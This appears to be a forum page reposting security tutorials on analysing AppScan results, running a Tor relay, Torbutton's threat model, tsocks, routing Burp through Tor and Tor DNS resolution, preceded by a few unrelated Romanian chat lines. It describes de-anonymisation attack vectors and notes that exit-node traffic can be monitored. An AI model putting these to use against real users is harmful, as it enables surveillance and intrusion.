DarkyAngel

L-a trezit cineva ?i pe Antonescu s?-i spun? c? trebuie s? fac? check-out?

chiar a r?mas

da.. are ?i dezavantaje.. eventual merge combinat? metoda cu o parol? simpl? text, pentru.. când ai probleme.

?i atunci de ce plm ai mai f?cut topicul ?sta?

The first part of this article focused on configuring a scan in Rational Appscan, and as mentioned earlier, it’s important to configure the scan based on your requirements and limitations. Once the scan starts, depending on the size and architecture of the web application, Appscan takes time to explore all the available links. At the end of the scan the security auditor will be presented with scan results which need to be checked to eliminate the false positives. In the first part, we have started our scan on Altoro Mutual and once the scan gets complete, Appscan shows you a screen as seen in the graphic below. Let’s proceed to analyse. As soon as the scan starts, Appscan asks you if you would like to save the scan. Make sure you save it. When the scan begins, the progress bar appears at the bottom of the screen, which shows you the time taken and also the percentage of the scan that is completed. During the scan, if you encounter any connectivity issues or any other problems, you can pause the scan and resume it later. As explained earlier, a scan consists of 2 phases – Explore & Test. Scan Expert in Appscan is similar to the ‘Recommendations’ tab in WebInspect. Scan Expert analyses the configuration of the scan and recommends certain changes to the configuration in order to scan more effectively. You can choose to implement them or ignore them. The screen can be divided roughly into 3 panes: Application Links, Security Issues, and Analysis. Application Links Pane Under this, the hierarchical structure of the website is shown. The folders and files of the application are shown in both URL based and content based form. The number of security issues or vulnerabilities present on each link is shown adjacent to it in brackets. By right clicking on a URL or folder you can choose to exclude it from the scan if you are rescanning the application. The ‘Dashboard’ section will list the total number of issues present based on their severity: High, Medium, Low and informational. So the dashboard will reflect the overall strength of an application. Security Issues Pane This tab presents details about the vulnerabilities present in the application. For each vulnerability, the vulnerable pages are listed and the parameters are identified. This can be seen by expanding a particular vulnerability issue as shown below. Based on the scan configuration, Appscan identifies various kinds of vulnerabilities ranging from critical issues like ‘SQL Injection’ to low severity vulnerabilities like ‘Email Address Pattern Found’. Because the scan policy selected by us is ‘Default’, Appscan shows us all kinds of vulnerabilities. By right clicking on a particular vulnerability you can change the severity, mark it as non-vulnerable and even delete it. Analysis Pane By selecting a particular issue in the security issues tab, the corresponding details can be seen in the analysis pane. These are listed in the following tabs: Issue information, Advisory, Fix Recommendation, Request/Response. Issue information This tab provides details about the selected vulnerability. It shows the URL and the security risk associated with it. It also suggests what the security analyst needs to do to confirm that it’s a valid finding. Advisory Under this tab you can find a technical description of the issue, affected products, and reference links. Fix Recommendation This section mentions the steps that need to be taken to address a specific vulnerability. The recommendations are mentioned in general and for both .NET and Java. Request/Response This is most significant tab, with specific details about the requests which were sent to the application as part of the tests and the responses associated with them. So within a single test, Appscan might send more than a single request, depending on the issue. For instance, to check a blind SQL injection vulnerability, first the Appscan sends a normal request and records the response. Then it sends an injected parameter as a part of the request, which is a true condition, and records the response. Similarly it sends another request to check the false condition. The malicious payloads will be highlighted in order to differentiate from the others. So for most of the time you will be working in this tab mainly to understand whether the reported vulnerability is a false positive or a valid finding. Under this tab there are a few more options available as shown in the figure below. Show in Browser – Allows you to see the response in the browser. For instance, if you are viewing a cross site scripting vulnerability in the browser, it actually reflects the alert message which was sent by the Appscan. Report False Positive – If you find an issue which is to be reported as a false positive to Appscan Support team you can click on this option. Note that this option is not for marking it as a false positive, but for reporting an issue to the Appscan team. Manual Test – Upon clicking this option, a new window opens and allows you to modify the request and send it to observe the response. This is somewhat similar to the ‘repeater’ option in Burp Suite. Delete Variant – This will delete it permanently from the results. Set as Non-vulnerable – The selected variant will be considered as non-vulnerable. Set as Error Page – Sometimes the application returns a customized error page. By selecting this option here, Appscan will consider all the responses of that type as error pages. Otherwise there is a chance that they might be treated as valid pages because of the 200 OK responses. The ‘Variant Details’ tab highlights the changes that were applied to the original request. Understanding the Toolbar The Scan button helps you to continue a full scan/Explore. Manual Explore can be used wherein you want to scan only specific URLs or a part of a website. You can record the links and later click on ‘Continue with Full Scan’. Appscan would scan only those links which were covered by you under Manual scan. Scan Configuration opens the configuration wizard, much of which is covered in the first part. By clicking on the Report button you can generate a report of the valid findings at the end of the analysis. Scan Log records every action performed by Appscan (refer to the figure below). So using this feature, you can track all the activities. For instance, while the scan is running you can view precisely what the Appscan is looking for. The Power Tools section is explained at the end of this article. Analyze JavaScript performs JavaScript analysis to discover a wide range of client side issues like DOM based cross site scripting. You can view various other results under View Application Data. This shows the visited URLs, broken links, JavaScript, cookies, etc. With this basic understanding of the Appscan tool, you can proceed to analyse the scan results. You may want to address the High severity issues first. We begin the analysis by selecting a vulnerable URL or parameter. For instance if 3 URLs are listed under cross site scripting attack, click on one of them and select the parameter under that URL. The corresponding details automatically get highlighted in the analysis tab. Now start analysing if it’s a false positive or a valid finding. Determining whether a reported finding is a false positive or a valid finding entirely depends on your technical skills. If it’s a false positive remove the vulnerability from the list by right clicking and then delete. If it’s a valid finding, proceed to the next issue. In this way at the end of the scan, you have a list of vulnerabilities which are only valid findings and you can generate a report including all the issues. Below are some of the tips which would help you while analysing. Tips for Analysing While analysing the scan results, if you find an issue which is not relevant to your application, you can right click on the vulnerability –> State –> Noise. This will remove the vulnerability completely from the list. In order to show it in the results click on View –> Show issues marked as Noise. This will display the issue in grey text with a strikethrough. If the development team comes back with a fix for a particular vulnerability, you don’t have to scan the whole application again (provided the architecture and functionalities remain the same)to retest the issue. Just right click on the URL and select ‘Retest the Issues Found’. If any new issues are found they will be automatically added to the main results. CVSS settings help you to adjust the severity ratings that were assigned to a particular vulnerability. To change them, right click on an issue, Severity –> CVSS settings. You can adjust the metrics there (base, temporal and environmental) and change the overall severity rating. The ‘Manual Test’ option under the Tools menu helps you to send your own attacks to the application and allows you to save the action under the current scan. After editing the request and sending it, click on save to add the test to the current scan. Appscan sends many tests during a scan. Only those tests which uncover the vulnerabilities are shown to you as scan results. But if you want to view the results of all the tests (including non-vulnerable results) you need to select ‘Save Non-vulnerable Test Variant Information’ under Scan Configuration –> Test Options. To view them after completion of a scan, go to View –>Non-vulnerable Variants. If you want to scan only particular URLs or a particular section of an application, you can first explore the whole application without testing it (by selecting ‘Start with Automatic Explore Only’ option), and then you can include the URLs which you want to scan by right clicking and selecting ‘Include in Scan’ and exclude others by right clicking and selecting ‘Exclude from Scan’ and then click on ‘Full Scan’. When you are scanning a live/production site, Appscan might flood the database with its own data and can even bring the server down. So you need to make sure that the development team is aware of these consequences. Test Malware: This will analyse the links in the website for malicious content. You can select this option under Scan –> Test For Malware. The results are added to scan results if any are found. Generating Reports At the end of the analysis, you can generate a report of all the valid findings, including the remediation steps that need to be followed in order to fix the issues. These reports can be customized to suit your needs. For instance, you set a template for the development team which is different from a template set for your application manager. Appscan allows you to include various customized fields such as company logo, cover page, report title, etc. As shown in the above figure, you can include all the parameters that you would like to see by selecting them. The other details under this section are easily understandable. Tools This section describes basic details about the Power Tools (Tools –> Power Tools) that Appscan provides you with in order to perform your analysis better. Authentication Tester Helps you perform a brute force attack on the username/password combinations to gain access to the web application. But the outcome of this depends on how strong your password policy is. Connection Test This can be used to ping a website, and nothing more. Ping protocol might be blocked by many protocols and this is where you can use it. Encode/Decode While analysing the scan results you might come across many locations where you need to encode and decode the values. This tool can be used for the same purpose. HTTP Request Editor This is very useful to play with the HTTP requests. You can modify the values and test how the application reacts to different requests. This concludes the analysing part of the Rational Appscan. But it’s important to keep in mind that a tool only provides you with the results (or in some cases it may not even provide you with all the results). What’s important from a security analyst’s point of view is the enhancement of technical skills that help us to decide whether a finding is valid or not and to probe further to unearth more vulnerabilities. Happy Scanning!! Original Article

1. Introduction We’ve seen that Tor network is constituted from Tor nodes, through which we tunnel our traffic to reach anonymity. So far we didn’t bother with terminology, because it wasn’t important; all we wanted to achieve was anonymity, which we did. But when we’re trying to configure a Tor Relay, then the Tor project really gets interesting and we can’t really ignore the terminology. Here are the most frequently used expressions: Tor Node: Exactly the same as Tor Relay, the terms are used interchangeably. Tor Normal Relay: A single machine in a Tor network. Tor Bridge Relay: Are normal relays that are not listed under the Tor directory, which means that they can be considerably harder to block. We can use bridge relay when our ISP is blocking the use of Tor, but we still want to connect to it. The only difference between normal and bridge relay is that the relay is listed in a public directory, while a bridge is not. Tor Exit/Non-Exit Relay: A Tor relay can be configured to be an exit or non-exit relay. A non-exit relay is a relay that doesn’t directly communicate with the target network, but acts as an intermediary node in the Tor network. The exit relay is also an intermediary node, but can also be an exit node, which means that it can directly communicate with the target website. We also know that connections from exit node to the target website are unencrypted, so we can see whole traffic passing through and monitor it. 2. Tor Relays In the following section we’ll try to explain how to run a Tor relay. First we need to know that we can set-up a Tor relay practically on any operating system. If you have any spare bandwidth, you really should contribute to the Tor community by setting up a Tor relay, since it’s very easy and free. But beware, by setting-up Tor relay of any kind, your external IP will be seen by the clients trying to connect to your relay. We can very easily configure a Tor relay with a Vidalia graphical user interface by clicking on Settings –> Sharing –> “Relay traffic for the Tor network (exit relay)”. This can be seen in the picture below: We can see that there are a couple of options we can set: Basic Settings: “Nickname”: the nickname for our relay, in our case it is abracadabra. “Contact Info”: our contact information if something goes wrong, so the developers can contact us. I deliberately deleted the email address from the above picture, but remember that you have to put it in there. “Attempt to automatically configure port forwarding”: If we click on the Test button it will automatically test whether we have the right ports opened in our firewall that is most probably implemented in our home router. For most of the home users, this test will fail, since we don’t have the appropriate ports opened. In order for this test to succeed we must open the appropriate ports. The Test button functionality can also automatically detect the presence of any open ports and use those to tunnel traffic through. But let’s still figure out which ports should be opened by default, with that option disabled. At a bare minimum we need to open port 9001 for relay, as seen in the above picture. If we enabled the mirroring of the relay directory then we also need to open port 9030, which can also be seen in the above picture. Bandwidth Limits: How much bandwidth we would like to set aside for Tor. Exit Policies: Configure which services we would like the clients to be able to reach through our Tor relay. We can choose from: websites (port 80), secure websites (port 443), mail systems (ports 110, 143, 25), instant messaging, IRC and other services. But we must discuss the most important thing when setting up Tor relay: Should we set up an exit or non-exit Tor relay? In the introduction we already discussed the difference between the two, and the following points are summarized from [1] and should present a clear picture of whether we want to run an exit or non-exit relay. Don’t run an exit node from a home Internet connection, because it will draw attention to your home network. Usually, this shouldn’t be too problematic, but in some countries there have been equipment seizures on accounts running an exit node. A better way of giving something back to the Tor community while still using a home Internet connection is setting up a non-exit node or a bridge node. Use a separate IP for the Tor node and don’t route your normal traffic through the same network as the traffic from Tor. This allows your ISP to easily recognize abuse complaints as opposed to terminating your entire Internet connectivity. Register a reverse DNS name like tor-proxy.yourdomain.com, where you should also put some information about Tor, so other people know what it is. Configure exit policy rules. You should block traffic like BitTorrent, which really shouldn’t be used over Tor, because of its high-bandwidth requirements. It’s pretty clear that unless we know what we’re doing, we should run non-exit node rather the exit node. So far we’ve configured Tor relay with the use of Vidalia GUI, but if we would like to do it manually, we can edit /etc/tor/torrc and add the following configuration variables: DataDirectory /home/user/tor/Data/Tor DirPort 9030 ORPort 9001 ExitPolicy accept *:80,accept *:443,reject * Nickname Unnamed RelayBandwidthBurst 10485760 RelayBandwidthRate 5242880 Let’s describe the configuration variables – summarized from [2]: DirPort Advertise the directory service running on this port. If set to auto, the Tor will automatically pick a port for us. [*]ORPort Advertise this port to listen for connections from Tor clients and servers. This option is required if we want to run Tor relay ourselves. If set to auto, the Tor will automatically pick a port for us. [*]ExitPolicy If we’re running an exit-node, then this policy specifies what we would like to accept or deny. The most basic configuration values are to accept or deny packets based on their destination port number. [*]Nickname Sets the nickname of our relay. [*]RelayBandwidthBurst Limits the number of bursts for relayed traffic to a given number of bytes in each direction. [*]RelayBandwidthRate Specifies an average number of bytes allowed to be relayed through this node. After we’re done setting up our relay node, we should save the settings and restart Tor. This process should create Tor relay’s private keys, which are stored in the keys/secret_id_key in our DataDirectory. If we display the contents of DataDirectory, we can see that the private keys are indeed present, which is shown in the picture below: The commands presented in the picture were issued a few moments after the Tor relay had been configured and started. We can see that the current date is a few minutes after the creation time of the private keys, which indicates that those two keys were recently created. Those two keys are critical to the operation of our relay, since they are used for encryption/decryption of the traffic passing through our relay. If someone could get their hands on those two private keys, then he could decrypt all the traffic that passes through our relay, which breaks Tor’s anonymity. Let’s present one of the keys here, so we can get a better picture of the contents of those two files. The contents of the secret_id_file private key file are shown in the following picture: We can see that the secret_id_key file contains only the RSA private key used for encryption/decryption of traffic passing through a relay. When we restart Tor, we should notice that it takes a little bit longer to start because it’s setting up and starting Tor relay. But this isn’t a very good indication that Tor relay is up and running, so we’ll have to check the logs. In the logs, we should have the following lines that indicate Tor relay was started successfully: [Notice] Tor v0.2.2.37 (git-fce6eb1c44e87bc2). This is experimental software. Do not rely on it for strong anonymity. (Running on Linux x86_64) [Notice] Initialized libevent version 2.0.19-stable using method epoll. Good. [Notice] Opening OR listener on 0.0.0.0:9001 [Notice] Opening Directory listener on 0.0.0.0:9030 [Notice] Opening Socks listener on 127.0.0.1:0 [Notice] Socks listener listening on port 51220. [Notice] Opening Control listener on 127.0.0.1:0 [Notice] Control listener listening on port 45896. [Notice] OpenSSL OpenSSL 1.0.1c 10 May 2012 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation [Notice] Your Tor server's identity key fingerprint is 'test 0B01A29C23F7C70E52D28AD5A9E70237143B7D4C' [Notice] We now have enough directory information to build circuits. [Notice] Bootstrapped 80%: Connecting to the Tor network. [Notice] New control connection opened. [Notice] Guessed our IP address as xxx.xxx.xxx.xxx (source: 208.83.223.34). [Notice] Bootstrapped 85%: Finishing handshake with first hop. [Notice] Bootstrapped 90%: Establishing a Tor circuit. [Notice] Tor has successfully opened a circuit. Looks like client functionality is working. [Notice] Bootstrapped 100%: Done. [Notice] Now checking whether ORPort xxx.xxx.xxx.xxx:9001 and DirPort xxx.xxx.xxx.xxx:9030 are reachable... (this may take up to 20 minutes -- look for log messages indicating success) [Notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor. [Notice] Self-testing indicates your DirPort is reachable from the outside. Excellent. The last few lines say that the Tor is checking whether the ORPort and DirPort are reachable from the outside, which they are, since the log message says Excellent. If this check fails then we need to check our firewalls and open ports 9001 and 9030. We can also see that Tor published server descriptor to the server directory to let the clients know that it’s open for business and they can connect through it. Server descriptor contains information like the address, ports, keys, etc. In the Message Log we can see the picture attached below; it says that Tor and Relay are running fine, which enhances our belief that everything is working fine. If we’re still not satisfied and would like to see our relay in action, we need to wait about an hour for relay to be added into the directory, then we can search for it on the Relay Search website. If we enter ‘abracadabra’ in the search box and press Search, our relay should be displayed. This can be seen in the following picture: We searched for the search string “abracadabra”, which is the nickname of our relay, so it is up and running. I’ve masked my external IP with xxx.xxx.xxx.xxx, but the address is there, so this is another confirmation that your relay isn’t anonymous and its external IP is visible. The picture above also shows us what ports the relay will let through (80 and 443), the available bandwidth and the version of Tor running, plus some weird looking string “CwGinCP3xw5S0orVqecCNxQ7fUw”, which I’m not sure what it means. The picture we presented above also has a link “b20yYC0pV6WSYHT0mq+h6i27Ke0?, which points to https://metrics.torproject.org/serverdesc?desc-id=6f6d32602d2957a5926074f49aafa1ea2dbb29ed. This address reveals the information shown on the picture below: The picture contains a ton of information about our Tor relay, like nickname, external IP address and used port. This information is required if we want to run relay, otherwise how would clients know the IP address of the relay to connect to? It has to be seen on the normal Internet. The picture also reveals our public keys for onion-key and signing-key used for encrypting the data. It also shows the acceptable and rejected IP addresses as well as other information. There is another web application that can discover and display Tor relays and bridges and is accessible here: Tor Atlas. The application provides useful information about the relays as well as their history, but is not as detailed as metric.torproject.org. The picture of the Atlas search query is presented below: The nickname of the relay is abracadabra, bandwidth is 59.39 KB, and IP+port are also visible. There are also flags which identify the type of service. The flags are specifying the following things in order: this is exit node it’s fast it’s running it’s V2DIR it’s valid 3. Conclusion We’ve seen enough information that we can decide whether we would like to help the Tor community and run a Tor relay. Home users should at least set-up a non-exit relay or a bridge, since those two options won’t attract so much attention. Original Article

1. Introduction In previous articles: part 1 and part 2 we extensively used the Tor Browser Bundle that helps us ensure our anonymity. With the Tor Browser Bundle, we can easily start using Tor without installing and configuring any additional items. It also contains one very interesting project, a web browser that is based on Firefox and is specifically configured to protect our anonymity on the Internet. We won’t go into to much detail about features of the Tor Browser Bundle, but we will look at the specifically crafted features in the moderated Firefox web browser that protect us from giving away our identity. (For clarity, from now on we’ll refer to the moderated Firefox web browser simply as Firefox.) The Tor Browser Bundle contains the following components: Vidalia: A graphical user interface for Tor. Tor: A component that enables us to ensure anonymity for ourselves on the Internet. Mozilla Firefox: A web browser. Torbutton: Takes care of application level security so that Firefox doesn’t leak any security information. We can also download the source code of the Tor Browser Bundle from here and build it ourselves. Upon starting Firefox, the screen below appears: 2. Torbutton The official Tor site recommends that we use the Torbutton as part of the Tor Browser Bundle and do not install the Torbutton ourselves as human error may result in incorrectly setting up Firefox. This could then lead to leaks in security and the release of private information. Torbutton used to be part of the Firefox plugins and we were able to install it manually but it has since been removed from the addons , which forces us to use it together with the Tor Browser Bundle. Let’s look at the factors that could compromise the security of a Torbutton on the network. There are quite a few of them, presented below and summarized after [1]: 1. Exit Node or Upstream Router In this scenario, an attacker runs an exit node in the Tor network, or controls the router that’s located between the exit node and the target machine. The attacker can then intercept requests/responses coming from the client to the server and changes them in order to disclose the user’s identity. [*]2. Ad Servers and/or Malicious Websites When an attacker controls the website that we’re trying to reach Obviously it can feed us anomalous responses that could compromise our anonymity. [*]3. Local Network/ISP/Upstream Router The danger here lies with an attacker who controls any router between the local network, through the ISP and to the target website. This can be dangerous if the user has Tor disabled because the attacker can then inject arbitrary code into the client connection. This is only probable when we’re enabling/disabling Tor on a constant basis, so the attacker can correlate between the Tor and non-Tor traffic and figure out our source IP address. [*]4. Physical Access When an attacker has physical access to the client machine, he or she can pretty much do anything arbitrary to the machine. This too can obviously lead to a loss of anonymity. We can see that a user’s anonymity can easily be breached if an attacker can gain access to the local network, routers in between local networks, and ISP to a Tor’s entry node (or a Tor’s exit node to the target website) including the website itself. Please not that not every node is part of the Tor network. When we think about it, all of this makes sense. , Since all connections are encrypted, it is only the Tor network itself that is not vulnerable, Thus the attacker cannot inject malicious code in a response to our request. Now let’s take a look how an attacker can compromise the anonymity of the end-user. First we need to assume that an attacker can inject an arbitrary response into our browser as described above. Possible attack vectors summarized below [1]: Inserting JavaScript If an attacker inserts JavaScript in one of the responses returned to the user, it can perform network activity after Tor has been disabled. This can reveal the user’s true identity and lead to the discovery of out external IP address. JavaScript also has access to browser history and functions that return operating system information, CPU information, and user agent information, all of which can reduce the user’s anonymity. [*]Inserting Plugins A Firefox plugin that supports networking should obey browser proxy settings. But it can also disobey them and bypass these settings initiating the connection though the normal Internet without ever checking in with Tor. This bypass process reveals the client’s IP to the target website. If the plugin contains vulnerabilities, it’s also possible to exploit them, again, revealing the user’s identity. [*]Inserting CSS If an attacker can inject CSS, he can still convince the web browser to reveal the client’s external IP address through CSS popups, which are event handlers that fetch content via CSS’s onmouseover attribute. Now imagine that these popups are allowed to connect to the Internet and issue requests to the target website bypassing Tor. [*]Read and Insert Cookies If an attacker can get a cookie of an authenticated user, he can, of course, login as the user without too much fuss. This functionality should be prevented by the use of client certificates that would block the attackers from identifying themselves as an arbitrary user even if that same attacker somehow got his hands on relevant user cookies. [*]Create Arbitrary Cached Content A web browser can store a lot of information in its cache for quicker access to the resource when it’s needed again—some of which are also unique identifiers. Since the cache doesn’t have a same-origin policy, these entries can be read by any domain, thus revealing possible sensitive information to the attacker. [*]Fingerprint Users Based on Browser Attributes If an attacker can fingerprint the user’s web browser, he can get quite a lot of information from browser properties, which can uniquely identify the user. If the website remembers those settings it can reveal the user’s identity when visiting the target webpage normally or through Tor. This is possible because of many ways a user can configure their web browser to make it unique—the most common way of personalizing a web browser is the use of unique set of plugins. [*]Remotely or Locally Exploit Browser and/or OS An attacker can even exploit the web browser itself, the web browser plugin, or the operating system vulnerability, in order to gain access to the client machine. This results in a total compromise of the client’s system, which of course also reveals clients external IP address. From all the above points, we can gather that a successful Torbutton component needs to hide any personal user information that can reveal the client’s identify. This can be accomplished by implementing the following features: Proxy Obedience The web browser must use the Tor proxy all the time and must not let any network enabled component bypass it and access the Internet in the normal way. [*]State Separation All saved information that web browser saves for better user experience, like cookies, history, DOM, cache, etc, should be accessible only when used in the Tor-enabled state. [*]Network Isolation All web pages that were accessed by the web browser must be restricted to performing the network activity only when in a Tor-enabled state. [*]Tor Undiscoverability If the target website is fingerprinting the web browser used to access it, it can be a great feature to hide the presence of Tor. However, hiding the web browser used with its version number and installed plugins can help reduce the effectiveness of fingerprinting the web browser. [*]Disk Avoidance Web browser should not write any Tor-related information on the hard drive, but should store it in memory until the user closes the web browser, at which point the browser should discard all data. This ensures persistent data isn’t left lying around on the hard drive even after the user is done visiting the web site. [*]Location Neutrality Web browser should prevent leaking any time zone information through the Tor network. [*]Anonymity Set Preservation Web browser should prevent leaking any information that can be fingerprinted to the target website (user agent, installed plugins, etc). This should prevent the target website from tracking users based on the fingerprinted data, which can be used to find out the actual client connecting to a website even when Tor is enabled. [*]Update Safety Web browser should block any unauthenticated updates and upgrades via Tor, since a malicious attacker can inject an updated malicious program to the browser. We presented quite a few reasons why users utilized the Torbutton and immediately integrate Tor the Browser Bundle right into the Firefox web browser. It provides quite a few modifications that make our browsing experience more secure and anonymous. If we use Torbutton outside the Tor Browser Bundle, there’s a greater risk that the web browser will do something unexpected, which could compromise our anonymity. We must also mention that the Torbutton is integrated into Firefox only, since it’s open source. Torbutton support for other web browsers like IE, Opera, Safari, etc is not available and it will never be. 3. Tsocks Tor has a SOCKS proxy running at port 9050 that we can use to ensure anonymity in any traffic that is sent through the SOCKS proxy to the Tor network. But our application needs to have SOCKS proxy support, otherwise we can’t use it to access the Internet anonymously. But don’t despair yet! There is a solution to that problem. Even if a program doesn’t support SOCKS proxy server, or any proxy server for that matter, we can still ensure anonymity its Internet usage with the use of a torify program. Torify uses a program called tsocks that can send TCP connections through a SOCKS server. We can also directly use tsocks to achieve out goals as demonstrated below. First we need to install tsocks if we don’t have it already. The following is a command to install tsocks on Ubuntu Linux distribution: # apt-get install tsocks If we’re installing tsocks on a Gentoo Linux distribution, then we first need to enable the tordns useflag, which allows DNS queries to be sent through Tor and eliminates the DNS leaking problem as described in part 2. To install tsocks on Gentoo, use the commands presented below: # echo "net-proxy/tsocks tordns" >> /etc/portage/package.use # emerge net-proxy/tsocks Afterwards, we need to configure tsocks to use the Tor anonymity. We can do that by editing the /etc/tsocks.conf configuration file. At a bare minimum, the configuration file should contain the following lines: local = 192.168.1.0/255.255.255.0 server = 127.0.0.1 server_type = 5 server_port = 9050 With this local configuration variable we can specify that this machine can directly access the specified network 192.168.1.0/24. The other configuration variables configure the host and port of the Tor SOCKS server and its type, which in this case is 5 (default is 4). The command syntax of tordns is very simple and is taken from the Linux man page of tsocks: > tsocks [application [application's arguments]] > or tsocks [on|off] > or tsocks We can see that we need to specify the application we want to proxy through our Tor network. Note that only TCP packets will be routed through Tor; UDP packets will be routed normally, thus revealing our identitywe must watch out for that. We can quickly test this by accessing a certain file on our own Apache web server with a program like wget. First we need make the following changes on our server machine so that we can observe all access to Apache resources: # tail -f /var/log/apache2/access.log Afterwards we should download some resources normally (without tsocks) to confirm our IP address is displayed correctly. When we’re certain that is the case, we should also test tsocks to make sure that the IP is anonymous: # tsocks wget http://www.server.com/image.png In the access log we should observe an entry like the following: 31.172.30.1 - - [18/Jul/2012:00:33:25 +0200] "GET /image.png HTTP/1.0" 200 695 "-" "Wget/1.12 (linux-gnu)" We can see that we requested the image.png from the IP address 31.172.30.1. To check whether the IP is indeed part of the Tor network, we can click on “View the Network” in the Vidalia GUI, which lists all nodes in the Tor network. Among those is also a node with the IP 31.172.30.1 as represented by the following picture: We can see that the Tor node is located in Germany, has the IP of 31.172.30.1, and has been up for 48 days, etc. So, we’ve validated that the node is part of the Tor network, and thus tsocks works as expected. Original Article

1. Using Burp with Tor So far we’ve looked at how to set up our web browser to use Privoxy, which in turn uses Tor to achieve anonymity on the Internet. But what if we want to intercept requests with Burp? To help us better understand what’s really going on, the picture below represents the chain of nodes that each request (and response) must go through in order to be able to use the proxy (in our case Burp) over the Tor network: We can see that each request from the web browser first goes into some proxy (in our case Burp), which allows us to do something with it – in most cases all we want to do is to look up the GET/POST parameters and modify them a bit. The request is then passed to Tor’s anonymous network (which is already part of the Internet, but we’re representing the Internet in its own node for clarity). Now we have a basic picture how it should all work together, but we still have to configure all of the components to work nicely together. First we have to install and start Burp Suite, which we won’t describe here, since you should already know how to do that, or you wouldn’t be reading this article. When Burp is started, we should see the port 8080 open and in LISTEN state: # netstat -lntup tcp6 0 0 127.0.0.1:8080 :: LISTEN 4315/java Since the web browser should send all requests to Burp first, we need to configure our web browser to use Burp instead of Privoxy. The Firefox settings are presented in the picture below: We can see that we set Firefox to route all packets through Burp proxy, running at host 127.0.0.1 on port 8080. Afterwards we need to configure Burp to use SOCKS proxy, which is started and configured by Tor. SOCKS proxy works at a lower level than HTTP proxy, thus being able to forward not only HTTP requests. SOCKS is basically a TCP proxy, which can proxy all TCP connections through it, thus not being application specific; the application only needs to be capable of tunneling its data through SOCKS proxy. We can configure Burp to use SOCKS in the Burp Options under “use SOCKS proxy”. The picture below demonstrates that: We can see that we configured Burp to use SOCKS proxy running on host 127.0.0.1 (localhost) on port 9050. If we look at the ports in a LISTENing state again, we can see that port 9050 matches our Tor service: # netstat -lntup tcp 0 0 127.0.0.1:9050 0.0.0.0:* LISTEN 8520/tor So what have we done so far? We’ve configured the web browser to use Burp proxy on port 8080, which in turn uses SOCKS proxy on port 9050, thus successfully being able to complete the proxy chain and browse the Internet anonymously, while still having the advantage of being able to modify requests with Burp. 2. Configuring Tor to Resolve Hostnames Securely In the previous Tor article we mentioned the types of SOCKS proxies and certain Tor configuration variables that we can use in the torrc configuration file. We also discussed why it is important to resolve hostnames securely, so we won’t repeat ourselves: check out part 1{link}if anything is unclear. But so far, we haven’t yet discussed how to actually configure Tor to resolve hostnames securely. This is what we’ll do here. The following solutions are available when we want to resolve hostnames securely: A: Use SOCKS4a Not every application supports SOCKS4a, so this solution doesn’t really solve the problem, because we want a universal solution that works with all applications. B: Torify hostname resolution We can try to torify the DNS resolution application that we use. But we have to be careful, because some applications were not built with anonymity in mind. Some protocols, like FTP (active/passive mode), send the IP address itself in the data section of the FTP, thus making it very hard to anonymize. This happens in active mode of the data transfer in FTP. The following picture summarizes the initialization of the FTP transfer: We can see all the steps needed to start sending the data from server to client. This doesn’t seem like much, if we don’t pay attention. In step C, we can see that client sends PORT command, which is the root of our problems when try to anonymize it. The PORT command uses a format like the following: PORT x,x,x,x,y,y where x’s represent the client’s IP and y’s represent the chosen port that will be used for data transfer. So in this case the client revealed its IP address and broke the anonymity. It’s cases like that we must watch out for when trying to torify an application. This doesn’t directly relate to DNS resolution scheme, but we’re mentioning it here anyway, since we’re already talking about torifying an application. C: Use tor-resolve With tor-resolve we can get the IP address of the hostname very easily. All we need to do is run the program with the specified hostname, like the following: # tor-resolve www.google.com 127.0.0.1:9050 This command says that we want to get the IP address of a hostname Google, and we want to use the Tor SOCKS proxy running at host 127.0.0.1 on port 9050, which is the default host:port combination, but we specified it anyway, for clarity. D: Use local TorDNS DNS server The local DNS server can be set up, which will forward all DNS requests through Tor network. Tor provides a built-in DNS server, which can be configured by adding some configuration variables to the /etc/tor/torrc configuration file. More specifically, we need to add the following configuration variables: DNSPort 53 AutomapHostsOnResolve 1 AutomapHostsSuffixes .exit,.onion To test whether the TorDNS works, we can use dig command to query our DNS server for an IP address. We can use the following command to send a DNS request to TorDNS, asking it to resolve the hostname Google # dig @localhost -p 53 www.google.com To ensure that all DNS requests are really being tunneled through our local DNS server, we also need to change the /etc/resolv.conf to point to the 127.0.0.1:53 DNS server, so all applications on the configured machine will use TorDNS DNS server for hostname to IP resolution. If we do that, we’ll notice a little bit of a delay when querying the hostname that is not in cache yet, but with today’s Internet connections this shouldn’t be a problem. If that bothers us, we could set-up a local caching nameserver that would remember the hostname and their corresponding IP addresses. On Linux there’s a program called dnsmasq, which is a lightweight DHCP and caching DNS server, which accepts DNS queries and answers them directly from local cache or forwards then to a real DNS server. A good explanation of this can be found on [1]. We also need to ensure that /etc/resolv.conf isn’t changed the next time the dhclient or dhcpcd programs are run. To disable dhclient changes to the resolv.conf with its own nameservers, we must delete the domain-name, domain-name-servers and domain-search from the request directive in /etc/dhcp3/dhclient.conf configuration file. To disable dhcpcd changes to the resolv.conf, we need to delete domain_name, domain_name_servers and domain_server from the /etc/dhcpcd.conf configuration file. If we have both of the programs installed, it’s probably best to change both files accordingly. 3. Which Proxy to Choose There are quite a few proxies available that we could use, but most of the community uses either Privoxy or Polipo. There are a couple of reasons why you should rather use Polipo than Privoxy and are described in detail here: Privoxy vs Polipo. To summarize, these are the reasons why it is better to use Polipo: Privoxy lacks HTTP 1.1 pipelining. Privoxy caches most requested objects. Privoxy needs to transfer the entire page to parse it and show it to the user. This means that user experience in Privoxy is much worse, since the user constantly waits for the whole webpage’s data to be transferred from the server, before being shown to the user. But there is another question we need to ask ourselves. Why do we even need HTTP proxy, if we can use Tor’s SOCKS proxy right from the web browser? The answer is as follows: usually the web browser’s SOCKS proxy uses some default configuration variables that don’t tolerate Tor as well as Privoxy or Polipo can. The main annoyance would be timeouts, which happen very frequently if we use Tor’s SOCKS proxy directly. 4. Tor Hidden Services: How I Can Stay Anonymous and Host My Own Server in Tor Network Tor hidden services use the hostname that ends with the .onion domain. That TLD (Top Level Domain) cannot be used over the normal Internet; its corresponding hostnames can only be used over Tor network, which knows how to resolve them into hidden IP addresses. Let’s see what happens if we try to resolve a hostname of DuckDuckGo, which is a search engine used to search for websites in Tor anonymous network. Let’s use both the dig and tor-resolve commands, like this: # tor-resolve 3g2upl4pq6kufc4m.onion 127.0.0.1:9050 # dig @localhost -p 53 3g2upl4pq6kufc4m.onion Both commands report the IP address of 127.192.0.10. From this we can gather that IP address belongs to localhost, since all IP addresses 127.0.0.0/24 are conserved for localhost, although 127.0.0.1 is most commonly used. 